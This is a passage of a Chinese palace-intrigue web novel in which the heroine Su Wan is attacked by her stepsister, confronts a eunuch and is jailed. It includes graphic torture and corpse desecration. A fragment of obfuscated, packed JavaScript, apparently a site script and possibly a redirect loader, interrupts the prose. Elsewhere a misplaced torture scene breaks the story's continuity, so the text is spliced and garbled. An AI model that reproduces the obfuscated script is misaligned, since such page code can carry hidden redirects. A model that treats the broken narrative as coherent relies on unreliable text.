“本官奉命监察礼仪,尔等不得阻挡!” 随着来人一声令喝,守门的宫人们躬身碎步退下。 只见苏沅芷一身女官妆束,身穿正六品尚宫局司仗青色补服,胸前绣着白鹏补子,衣袍下摆光彩流转。她头戴乌纱帽,帽翼坠着两根珠玉流苏,妆容精致,眼里载着掩不住的轻蔑。 苏沅芷在宫中供职于司仗司,专管宫中礼制、仪仗事宜,手下豢养着一队专事护卫与仪仗的女兵——虽说她自己不会半分武艺,单凭着这身官袍,平日里在后宫也是恣意横行霸道。 这日,趁着温念外出之际,苏沅芷带着一名身形壮硕的婢女,气势汹汹地闯入了户部衙门,只为堵苏绾一人。 那婢女一身宫制襦裙,双臂交叉立在门边。其人虎背熊腰,肌肉轮廓透过薄布清晰可见,仿佛稍一用力,就能绷裂衣衫。与其说是侍女,倒不如称作护卫更加贴切。 苏沅芷一踏进屋,眼尾余光飞快一扫,见苏绾低眉顺目地坐在窗前,一针一线缝制嫁衣,唇角勾起一抹轻蔑的笑:“啧啧,堂堂阁部夫人,竟沦落到亲手做针线活儿,怪可怜见儿的。” 她佯作无意瞥了一眼苏绾手中的嫁衣,冷嗤一声:“你还真以为能风风光光嫁出去?天真。没有本官点头,你连嫁与不嫁的资格都没有!” 声音不高不低,透着一种后宫特有的咄咄逼人的气势,字字如刀,直戳人肺腑。 苏绾扫了来人一眼,指尖一转,随手将针线收回绣囊,声音懒散而冷淡:“我当是谁在外头大呼小叫,原来是你啊,苏沅芷。” 她盯着苏沅芷打量了片刻,忽而掩袂一笑:“你披着这一身青皮,活脱脱像个掐着嗓子叫卖的牙婆,仿佛不经你的手,姑娘们就嫁不出去似的。” 苏绾慢悠悠仰起头,鄙夷道:“不过区区芝麻大的官职,竟敢越俎代庖,管起阁部之事。苏沅芷,你的胆子倒是越来越大了。” 苏沅芷冷哼一声:“你别以为攀上了温侍郎,就真成了金枝玉叶。野鸡终归是野鸡,穿上凤袍也改不了贱骨头。” 说着,她跬步上前,腰间青色补服随之荡动,悬挂的玉佩叮当作响,声音听起来尖锐刺耳。 苏沅芷微微俯身,眼中闪着森寒恶意:“本官奉皇后懿旨,掌管后宫礼仪。你若想嫁入皇宫,须得经过司仗核验——凡有过往不检、通奸污秽之事,一律逐出宫门。” 她声音压低,宛若毒蛇吐信:“你的那些丑事,本官最清楚不过。苏绾,你,可懂?” 苏绾倚着案几,纤长手指拂过袖口,慢条斯理地扫去一粒微不可见的尘埃,“苏沅芷,你好歹挂着朝廷诰命的名头,怎的言行举止倒跟市井泼妇一般,张口闭口地叫嚣撒野?你哪只眼睛瞧见我与人通奸了?说话总得讲点证据吧。” 苏沅芷脸色倏然一变,咬牙反驳:“去年纳征那日,是你和奸夫将军联手陷害我,毁我容貌,逼我离家!这笔血账,我今日非要讨回来!你就是个肮脏的娼妇!” “是啊,我是娼妇。”苏绾冷冷打断她。 “可我这娼妇,温如初抢着要,太后点了头,圣上准了旨。而苏沅芷你呢?你在宫里辛苦熬了大半年,熬来熬去,只熬了个小小正六品司仗女官,掌着无足轻重的仪仗队,还得随时向上司磕头陪笑。” 苏绾不紧不慢站起身,裙摆在地砖拂出细碎声响。她跬步逼近苏沅芷,嗓音轻柔得像耳畔呢喃:“你可知道,我不仅与京卫指挥使通奸,还与贵妃身边的御医秦欢纠缠不清,就连皇帝的亲侄子萧染,也被我迷得神魂颠倒呢。” 她伸出玉手翻看,“男人啊,统统都是我的掌中玩物罢了,我要多少,有多少。” 她微微一笑:“可你又能奈我何?你没有证据!你这个无能的废物,自始至终不过是个任人摆布的傻子,连自己错在哪里都想不明白。” “你跟母亲一样,同是女人的耻辱,没有男人来爱,简直不可救药!” 苏沅芷胸膛剧烈起伏,被苏绾的话一寸寸刺得理智全失。她咬紧牙关,欲拼劲全力抽打苏绾的耳光。 “贱人,跟我装什么清高!”掌风破空而来,眼见就要落在苏绾脸颊。 几乎同时,春蝉身影一闪,精准扯住苏沅芷的手腕,逼得她尖叫一声,连退半步。 春蝉冷声道:“休想动我家小姐一根头发!” 小丫头手劲极大,令苏沅芷手腕剧烈吃痛,她万万没料到,苏绾的身边竟也藏了武功高强的人物。她有些懊悔自己只带了一名随从,实在应该带着她的仪仗队来才是。 苏绾目光沉静如深潭:“苏沅芷,宫里的规矩,你比我更清楚。身为女官,擅闯户部衙门,还敢动手伤人,是何罪责?” “只需我一句话送到太后跟前,便能叫你摘了诰命,贬为庶人,逐出宫门。你说,这笔账,值不值得?” “你敢!”苏沅芷懒得再跟她废话,素手一扬,命令道:“浣碧,给我教教她什么叫规矩!” 那婢女名唤浣碧,最擅长拳脚功夫。原本是热河一带土匪窝里长大的烧火丫头,因年岁渐长,又不想配给匪徒,这才从良,后来被苏沅芷在黑市里花重金买下。 一声令下,浣碧早已按捺不住,立马恶虎般扑上前。 无霜大惊,急忙上去抱住浣碧水桶腰,“不要啊——” 殊不知浣碧是个练家子,浑身腱子肉。粗壮手肘向后一杵,肘尖正搥中无霜面首,将她结结实实击倒在地,一时半刻爬不起身。 “住手!”旁边春蝉晚了半步,手腕一抖,腰间银链破空而出,啪地抽向浣碧,逼得她连退两步。 浣碧怒极反扑,春蝉鞭影翻飞。屋子里狭窄,两人打得鸡飞狗跳,撞翻了案几,踢散了绣绷,倾覆了烛台。又纷纷撞出门外,双双滚入天井院落,激起一阵尘土飞扬。 好奇的宫人们躲在角落里,指指点点。 屋内一片死寂。 苏绾俯身扶起无霜,“霜儿,你可还好?” 无霜鼻腔被那一肘击重创,两道殷红鼻血蜿蜒而下。她用袖口胡乱一抹,勉强撑出一个笑容,“我没事,小姐不必担心。” 苏绾掏出丝巾,一下一下,轻柔地擦拭着无霜唇边的血痕。动作极轻,像在抚摸一只受伤的小兽。心如刀绞,恨不得替无霜挨那一杵。 这功夫,忽听苏沅芷寒声一笑,“贱人,咱们的旧账,是时候一并清算了!” 她从袖中抽出一柄玉如意,趁苏绾低头之际,出其不意向额顶大力挥击! 阵风袭来,苏绾眼前一黑,头顶一阵刺痛,一道凉气瞬间贯穿颅顶。她睁着一双无神的眼,怔愣地望向苏沅芷。 时间停下匆忙的脚步。 疼痛并不立刻袭来,反倒充斥着无边无际的麻木,与彻头彻尾的寒凉,像被雪兽利齿贯顶,将半边身子撕扯啃啮,唯余一点点意识,在茫茫暗夜苟延残喘。 大约过了一瞬间,又或是一万年。 头顶一股暖流涌出,顺着额角流淌而下,掠过挺翘的鼻梁,滴入微张的樱唇,带着浓重的腥甜,又沿着下颌滑落。啪嗒、啪嗒,落在石榴红的裙摆,洇开一片刺目的猩红。 耳边流进丝丝缕缕细语,如风声虫鸣,又似是无霜撕心裂肺的惊叫。 “小姐——” 无霜顾不得自己的痛楚,双手颤抖着揪着苏绾的绢帕,不断擦拭血迹。雪白绢帕很快被鲜血染透,变作一块血色风帛,触目惊心。 “光天化日之下竟敢恶意伤人,还有没有王法?”无霜悲愤欲绝,声音都在发颤。 苏沅芷肆无忌惮地笑了:“就打你了,怎么着?有本事你去告我啊。” 无霜正欲上前同她理论,却被苏绾拉住了,摇头道:“算了,我没事。” 无霜咬紧嘴唇,眼里满是不甘与疑惑,几乎要哭出来。 苏绾反手按了按无霜的手腕,似在悄悄告诉她,一切尽在掌握之中。 对付咬人的疯狗,绝不能给它第二次下嘴的机会。 苏绾随手将血迹斑斑的帕子掷了,长身而起,怒道:“想同我算旧账?甚好。” “自我八岁进苏家门,十年来受尽你的欺辱,咱们一笔一笔算清楚。” “那年腊八,你推我落河,事后却谎称手滑;第二年端午节,捉弄我坠马,差点摔断脊骨;还有某年中秋,你让人偷换灯油,欲置我于火海之中活活烧死……” 她声音淡淡,不急不缓,像是在讲述别人的故事,语气平静得可怖。 “你过笄礼之时,谎称首饰被盗,召集阖族亲眷,大肆搜查,最后在我房里找到你预先放置的首饰,你据此诬蔑我为盗贼,导致我被母亲卖给行院……” “住嘴!”苏沅芷怒喝,后面发生的事情,她并不想回忆。 若非那次错误行动,苏绾也不会遇见温如初,也就没有而今的侍宠而骄。 “这就听不下去了?我可还有很多话没说呢。” 苏绾眨了眨星眸,故作恍然大悟状,“哦,我知道了。你怕听见他的名字,因为他是你这一生都无法原谅的痛。” 苏绾剪着双手,引领遥远回忆,“你认识他,本在我之前。他十九岁状元及第,十六岁的你芳心暗许。” “你费尽心思吸引他的注意,刻意装扮成卖花姑娘,站在桥头沽酒卖花,淋一身杏花湿雨,活像只落汤鸡。而他从桥上翩然走过,连一眼都没看过你。” “你得知他学佛,假模假式尾随他去大慈恩寺,扮作香客虔诚求签,谎称自己有意皈依佛门,结果被大和尚看破你的拙劣谎言,拿扫帚将你赶出庙门。” 苏绾垂眸,莞尔一笑,“这还不够,他才高八斗,乃登科状元。你担心自己配不上他,秉烛苦读诗书礼易,附庸风雅,学人家写‘薛涛笺’,妄图在‘花灯会’以文会友。那帖子送是送出去了,然而由于诗文太差,连人家筛选家丁都看不懂,直接付之一炬,真真是笑死个人。” “不许再说,我要撕烂你的嘴。”苏沅芷眼睛睁得大大,恨不得掐死苏绾。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见苏绾笑意盈盈,“来啊,打啊,我任你打。” 那副矫揉造作模样,分明是在引诱她出手。 苏沅芷心中警铃大作,暗骂自己差点上了贱人的当。若此时再动手,苏绾必定倒打一耙,将她告到御前,她的司仗诰命休想保得住。 好险。 苏沅芷决定不给苏绾作恶的机会,方为明智之举。况且,先头不是已经打过她吗?这口气也已经出了,没必要铤而走险。 “娼妇,别得意太早!”苏沅芷恨声道:“在这紫禁城里,凭我司仗一职,想怎么折磨你都行,教你生不如死,十天时间绰绰有余。” 她恶狠狠地瞪了苏绾一眼,自知理亏,偏又咽不下这口气,心里恨得发狂,朝门外厉声喊道:“浣碧,咱们走!” 天井院中,浣碧正与春蝉厮打得难分难解,听到主子呼喝,急忙挥开春蝉,一边抵挡一边跌跌撞撞退了回来。 苏沅芷顾不得形象,带着浣碧匆匆逃出户部衙门。她衣冠不整,发髻歪斜,步履踉跄,哪里还有半分端庄女官的模样?连带着浣碧也满身尘土,灰头土脸,狼狈不堪。 身后,宫人们默契地悄悄阖上角门,将这场闹剧彻底隔绝于门外。 闺房里沉香气息纠缦。 无霜瘫坐在地,半边脸青肿,嘴角挂着血,显然是方才浣碧动手时吃了亏。苏绾则靠在案边,一手扶着额头,指缝间渗出殷红血迹,发丝被鲜血黏连着。 “小姐!”春蝉大惊失色。 苏绾眼底一片冷静,“无妨,一点小伤而已。” 她说得云淡风轻,可指尖却因疼痛微微颤抖,缝制未完工的嫁衣也散落一旁,金丝在血光下熠熠生辉,映得人心头发寒。 方才那一招“空城计”,着实惊险万分。若非苏沅芷心里尚存几分警觉,晓得兵不厌诈的道理,以她那一贯张扬跋扈的性子,苏绾的额顶怕是要被敲出个血窟窿不可。 春蝉心疼道:“我去请太医!” 苏绾拦住了她,“不用惊动外人。春蝉,你叫宫人准备轿辇,我要亲自走一趟后宫内殿。她们不允许的话,你就说‘人命关天,哪个不要命的敢拦挡’,自然无人敢管。” 春蝉一怔,“小姐,是要……” “正是。”苏绾恨道:“苏沅芷敢伤我,就得付出代价。今日这伤,不白挨。” 苏绾吩咐道:“帮我换件干净衣裳,再稍作修饰,让伤势看上去更严重些。” 春蝉应声去取衣裳,动作飞快。 苏绾理了理垂散的发丝,她原本就需一个名正言顺的理由,去拜访贵妃,与秦欢搭上线。如今正好,受伤、告状、反击,一举三得。 至于苏沅芷,既然她敢出手,注定要成为她计划中的第一枚弃子。 半个时辰后,一顶素雅的小轿悄然自户部衙门出发,朝着宫城深处行去。 132. 入狱 “小姐,你怎么这么熟门熟路,好像曾经来过似的?”轿辇一旁快步随行的无霜忍不住好奇开口。 苏绾望着一路熟悉的景致,眼底充满了怀念。上一世,她在紫禁城度过了人生最后的几年,记忆中有血有泪,也沾染了无限荣光。正是在这块沉浮之地,她一步步攀至权势巅峰,最终成了旁人口中的“疯后”。 “这座紫禁城,是先帝颁诏修建,召集天下名匠,历时十三年才完工。主设计师是潭柘寺无名和尚,听说当年设计图一展开,连工部侍郎都不禁啧啧称奇。” 苏绾话音不急不缓,“我曾有幸瞻仰那幅图纸的摹本,认得路也不算稀奇。” 无霜听得一脸震撼,感叹道:“怪不得我一进来就觉得这里跟外头不一样,到处弯弯绕绕,跟迷宫似的,我能在里头转一天出不来。” 轿辇另一侧的春蝉撇撇嘴:“皇帝的宅子是挺大,可总觉得阴森森的,像个装了无数秘密的大棺材。白天还好,一到晚上,连风都像鬼喘气……” “嘘!”无霜脸都白了,赶紧隔着轿帘低声呵斥春蝉,“你别胡说,被人听见小命都保不住!” 春蝉立马缩了缩脖子,低头不敢再出声。 苏绾眼眸沉了沉,“春蝉说得没错。这里光鲜的背后,埋藏的可不止秘密,还有人命。” 穿过后花苑,一路花香袭人,朱墙碧瓦楼阁巍然耸立,檐角雕龙画凤,阳光沐浴下熠熠生辉。宫人往来如织,却都寂静有序,惟闻绣履踏地,声音轻响如倒豆。 一行人来到了贵妃居住的宫殿。 翠微宫位于紫禁城西隅,山石假山错落,绿树成荫。春时玉兰盛开,夏则荷香四溢,秋有丹桂飘香,冬日枯枝横斜,亦别具风骨。 正值阳春时节,天光明媚,万物争荣。草木葱茏,池馆微曛,一池春水泛着微波,映得金瓦琉璃也多了几分柔情。不禁让自幼长在京城巷里的无霜,看得痴了眼。 “真美啊……”无霜低声感叹。 轿辇另一边,春蝉撇了撇嘴:“也就那样吧。规整是规整,就是太刻意了些。少了点野趣,多了些摆样子。” 春蝉出身猎户人家,自幼在山林里摸爬滚打惯了,对那种未经雕饰的大自然更觉亲切。这一派金碧辉煌的风景,在她眼里反倒显得有些造作。 无霜忍不住瞪了她一眼,“你懂什么,这是皇宫!你以为是你家后山哪条野沟子?” 春蝉咕哝一声,不服气道:“后山的野沟子,月亮照的光影都比这真切。” 听着两人的拌嘴,苏绾没插话,只是轻轻一笑。 无霜懒得争执,抓住空暇又问道:“小姐同这位熹贵妃,平生素未照面,怎知她就一定会帮咱们不成?” 熹贵妃在翠微宫安居多年,行事一向低调,鲜少参与后宫纷争,不争宠,不结党,守着一方天地自得其乐。即便身居高位,也不显山露水,宫人们对她的议论寥寥,皆言她是深宫里一缕不染尘埃的清风。 苏绾第一次见到贵妃,是在她被贬入冷宫之后。因御马监事务划归内阁,而温念对这群马夫又漠不关心,苏绾只得亲自出面与贵妃接洽相关事宜。彼时的贵妃虽已失宠,依旧仪止端方,言语温婉,并无半点哀戚颓唐。 二人一见如故,自此渐生交情。贵妃惜才,苏绾知恩,两人虽身份有别,常在冷宫一隅论经习字,谈药论政。贵妃曾言:“你不该只做温大人的妻,你天生就是为庙堂筹谋,为社稷护国的命。” 苏绾不过一介命妇,却因贵妃的点拨,生出几分胆识与志气。贵妃教她识人观势,劝她守中自持,更在暗地数次助她脱险,让她在宫闱浮沉中得以喘息。 后来苏绾与秦欢情愫暗生、珠胎暗结,贵妃亦不吝相助,设法促成他们在冷宫相会。直至秦欢被温念杀害,太子狱中离奇自缢,贵妃心灰意冷,出家白云观,从此断绝红尘。 秦欢之死,胎儿殒命,令苏绾彻底崩溃,陷入了癫狂的境地。她与皇后、太后明争暗斗,杀遍整个后宫。待她终于登上高位,贵妃已音讯皆无,消失在茫茫人海。 重活一世,故地重游,望着远处缥缈飞烟的翠微宫,那份感觉熟悉又遥远。 苏绾叹了口气,“贵妃是秦大夫的亲姑姑,不看僧面看佛面,总不至于对我袖手旁观。” 行至殿外,轿辇忽被拦下。 “出示穿宫牌。”锦衣卫手按佩刀,面容冷峻。 无霜递上户部腰牌。 锦衣卫扫了一眼,眉头一拧:“此牌仅限文臣出入内廷,非后宫娘娘所持令牌,不得通行。” 这可难倒了无霜。 轿帘一掀,苏绾冷声开口:“我乃东阁大学士温如初的未婚妻,出入宫中无须另行牌证。” 锦衣卫拱手一礼:“末将奉皇后娘娘明令,近日宫禁收紧,凡无后宫牌证者一律不得入内。” 双方一时僵持不下。 苏绾感到有些诧异,上一世,她也是凭借一模一样的手段和说辞,穿行后宫无阻——谁又敢驳了温阁部的面子呢? “皇后娘娘旨令?”苏绾问道:“可是翠微宫有变?” 锦衣卫闭口不言。 一道尖细的嗓音突然传来,带着几分倨傲与挑衅:“谁在那边吵吵嚷嚷?搅了主子的清净,可要打板子的。” 众人循声望去,只见一名年近五旬的内监缓步而来。身后一众小太监齐齐躬身垂首碎步跟随,唯他步履悠然,眼神冷冽。 他身披墨青织金蟒袍,袍角绣着二十四节气纹,腰间缠着紫绦团绣,手中雪白拂尘随风飘扬。细瘦身形,鹤骨鸡肤,面容苍白,眉眼之间透着一股子阴鸷狠毒。 此人正是司礼监掌印魏公公,权倾后宫的内宦巨擘,朝堂诸臣见了他,都要避让三分。 苏绾可太熟悉这老鸡婆了。 上一世,温念初入宫闱,权势未稳,为攀附司礼监掌印太监,他亲手将苏绾送入深渊。那一夜,灯火深宫,香烟缭绕,殿门紧闭,羞辱无声。她被迫玉体横陈空旷的大殿,接受一众宦官邪恶且贪婪的目光洗礼…… 魏公公是她不共戴天的仇敌。 一丝寒意从苏绾眼底掠过。老狐狸忽然现身,定是蓄谋已久,来者不善。 锦衣卫恭身将实情禀报。 魏掌印手腕一抖,拂尘白丝如雪瀑扬洒。他阴阳怪气地“哦”了一声:“我当是谁,原来是温大人未过门的夫人呐。” 他眯着眼睛打量苏绾,“可惜这重身份说到底,不过是个外命妇,入得朝堂,可入不得后宫。规矩就是规矩,无牌不得擅入,太后老祖宗钦定的章程,难道你也敢违抗?” 轿帘一掀,苏绾缓缓步出,裙袂曳地,眉目冷峻,“你一口一个规矩,却不说温如初乃圣上钦点的东阁大学士,准我入宫亲会贵妃。你身为小小四品司礼,怎敢随意拦我去路?” 魏掌印冷哼一声:“那得问问圣上,还记不记得你这位未过门的夫人。” 他目光冷冷扫过苏绾额顶伤痕,嘴角一撇,幸灾乐祸道:“凭你这身落魄相,形迹十分可疑。说是奉命入宫,却不走正道。分明是混进宫闱的奸细,意图谋害贵妃!” 此话一出,气氛骤然紧张。 “放屁!你说谁是奸细?”无霜一听,弯腰朝魏掌印吐了一口唾沫,正中他的锦袍。 “放肆!”身旁小太监怒喝一声。 春蝉也毫不示弱,扑向一名内监,一边挥拳一边骂骂咧咧:“谁敢动我家小姐,你们这些狗腿子,欺人太甚!” 可惜寡不敌众,几个照面春蝉便被冲上前的锦衣卫按住。无霜也被兵士反剪手臂擒拿,疼得她直吸凉气。 魏掌印厌恶地甩了甩沾了唾液的衣袍,“好大的胆子,一群贱婢,也敢冲撞天威。” 苏绾冷眼盯着魏掌印:“你不怕事后被温如初追责?” 魏掌印阴鸷一笑:“温大人如今正被太后抓住拷问,保不齐明日就被调出京师。我倒要看看,你还有没有命记账。” 说罢,他拂尘一挥:“来人,传我口谕,擅闯禁苑者,疑为奸细。押入诏狱,听候处置!” “是!” 锦衣卫拔刀上前,将苏绾一行团团围住。 * 诏狱深在皇城地底,常年不见天日。四壁石砖阴湿渗水,苔痕斑驳,铁栏生锈,空气中弥漫着发酵腐肉与湿 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一双烧红的铁鞋,生生被扣在魏掌印的脚掌。铁与肉接触的刹那,发出刺耳的“滋啦”声,伴随着血肉焦糊味。魏掌印嘶声惨叫不停,挣扎几息痛晕过去,没过多久就一命呜呼了。 苏绾还嫌他没用,这么容易就嗝屁了,不足以抵消偿还她所受的屈辱。于是她命人鞭尸一百,吊在城门楼任乌鸦啄食,魂魄永不安宁。 “很快,就会有人来救咱们了。” 可苏绾心里很清楚,这话说出来,只是安抚无霜春蝉而已。 从她踏入宫门的那一刻起,局势就已悄然发生了异变。 她持温念的腰牌探望贵妃,本就无可厚非,却被魏掌印以“奸细”罪名抓进诏狱。 而翠微宫大门紧闭,内侍避而不见,贵妃音讯全无,消息被刻意封锁。 显然,贵妃出事了。 有谁敢在这个节骨眼儿,下手动贵妃呢? 所有的迹象,都指向同一个幕后黑手——皇后。 上一世,苏绾亲身领教过皇后的手段。她外表温顺端庄,实则工于心计,惯用柔情包裹锋刃,表面恭顺博得太后欢心,暗地布下密网,步步蚕食贵妃的势力。 苏绾被抓,不是巧合,是警告。 她要借助温念的权势,清除贵妃,巩固自身地位。而当温念强娶苏绾时,皇后察觉到他包藏祸心,立刻反制出招,以雷霆之势敲打温念。 苏绾是她传出的第一个信号。 这场后宫之斗,已不再是内帏私怨,而是朝堂延烧,争储前哨。 想到这里,苏绾目光沉冷。她不怕进诏狱,她怕的是,再晚一步,贵妃就撑不下去了。 自打三人被投进诏狱起,幽深潮湿的牢房仿佛被岁月遗忘了。日头从高悬西斜,再一点点坠入地平线,天光暗了又亮,亮了又暗,除了偶尔传来滴水坠落的回音,整座监牢寂静如坟。 她们等了半日,又等了半夜。脚步声没有响起,传膳的人没有出现,连守牢的小吏也仿佛故意避开这处房间。 春蝉坐在角落里,抱膝瑟缩,小腹早就饿得打鼓;无霜靠在墙边,脸色难看,几次咬牙撞门,却无人回应。 “小姐说的不对,我们不会饿死,也会渴死。”春蝉嗓子干哑道。 苏绾沉默地坐着,肚腹传来咕咕声,她将衣襟拉了拉,遮掩住饿意。 越是没人来,她越能确定,这不是疏忽,而是故意。皇后要的,不是审问,而是消磨她的意志。 他们想饿她,困她,让她先输一步。 可她偏不如愿。 苏绾咬紧牙关,闭目凝神,磐石般稳稳坐定。 忽然,远处传来一阵窸窸窣窣的响动,像是有人翻身,又听见长长一个哈欠。 “呵——”声音懒洋洋地在墙壁间回荡。 春蝉一愣,险些跳起:“有、有人!” 无霜下意识抓紧了苏绾的袖子。 苏绾冷静问道:“谁在那边?” 沉寂一阵,俄顷传来拖长了尾音的抱怨:“吵死人了,吵得小爷我睡不安稳。” 苏绾心头一滞。 这声音,分明不是普通囚犯。 是他。